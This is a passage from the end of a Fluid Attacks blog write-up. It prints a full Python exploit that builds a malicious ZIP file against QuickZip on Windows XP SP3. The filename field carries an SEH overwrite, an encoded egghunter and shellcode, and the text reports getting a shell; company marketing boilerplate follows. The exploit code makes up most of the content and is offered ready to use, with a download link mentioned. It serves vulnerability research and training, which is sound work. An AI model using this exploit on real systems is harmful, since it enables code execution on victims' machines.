Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct

EGGHUNTER = (
 b'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrB'
 b'Js2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA'
)

SHELL = (
 b'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylYxnbePs0wpapK9'
 b'KUVQkpPdlK2p4pLKv2Flnk2rFtnk2RDhvoH7BjDfTqKONLul3Q1lvbdlWPo1JotM5QIW'
 b'M2l2v2qGLK0RtPLKQZGLLKblr11hhc1Xc1zq61nkBy5puQxSNk79b8HcfZCyLKUdLKgq'
 b'n6UaioNLzahOfm5QXGuhipRU9f6csMkH5k3MGT3EZDchLKpXutGqkc0flK6lBkLKshgl'
 b'C1KclK4DLKS1xPK9pD5tut3kQKqq69CjSaIoKPcoQOpZlK5BZKlM1MBH4sVRUP30BHpw'
 b'psFRaOCdcXbld7dfeWYozuH8NpgqwpEP6IHD2tRpcXUyoprKGpkOhU0P2prp60aPpPSp'
 b'v0e88jvoyOm0ioKelWqzEUrHyPNH30Wbe832c0VqCllIJFrJvpV6PWRHNyi5qdSQioju'
 b'mUo0t4VlkOPNgxd5Xl1xl0oElbpV9oJu1xqs0mCT30mYXcF73gSgvQKFsZB22yF6kRKM'
 b'QvJgw4ut7LUQuQLM0D6DTPZf5PQTPTpPRvSfQFw6bvRnPV2vRscfrH2YHLGOLF9oN5oy'
 b'Yp0N3fw6ioP02Hc8k7uMsPYo9EmkljXEYr3mqxOVj5MmmMkO8U5lC6qlVjopIkYpt54E'
 b'mkaW232R2OSZs00SkO9EAA'
)

FILENAME = (
 # Translates to \xeb\x04: JMP SHORT +0x6
 b'\x89\x04' +
 # Padding
 b'\x41' +
 # POP EAX
 b'\x58' +
 # Translates to \xeb\x05: JMP SHORT +0x7
 b'\x89\x05' +
 # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7
 b'\x8a\xf6\x98\x98\x98' +
 EGGHUNTER +
 b'A' * (298 - 4 - 45 - 11 - len(EGGHUNTER)) +
 # Jump to the start of our buffer
 # This will be translated to \xe9\x02\xff\xff\xff
 b'\x82\x02\x98\x98\x98' +
 # Fill the rest of our buffer
 b'A' * (45 - 5) +
 # This will be translated to \xeb\xd1 -> 44 bytes backwards
    b'\x89\xa5' +
    # To fill the rest of the nSEH field
    b'A' * 2 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 16 +
    b'fluiflui' +
    SHELL
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And check it:

Egghunter

Yes! Our egghunter found the fluiflui tag and the shellcode next to it. We should now be able to get a shell. Let’s check:

Success

We got a shell!

You can download the final exploit here.

Conclusion

This exploit was fun. We used the mangling performed by the application to our advantage. Working with the current environment will give you tools to think out of the box and obtain the desired results.

Get started with Fluid Attacks' PTaaS right now

Tags:

vulnerability

training

exploit

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Meet us at RSA Conference™ 2025 at booth N-4204.

Book a demo on-site

Meet us at RSA Conference™ 2025 at booth N-4204.

Book a demo on-site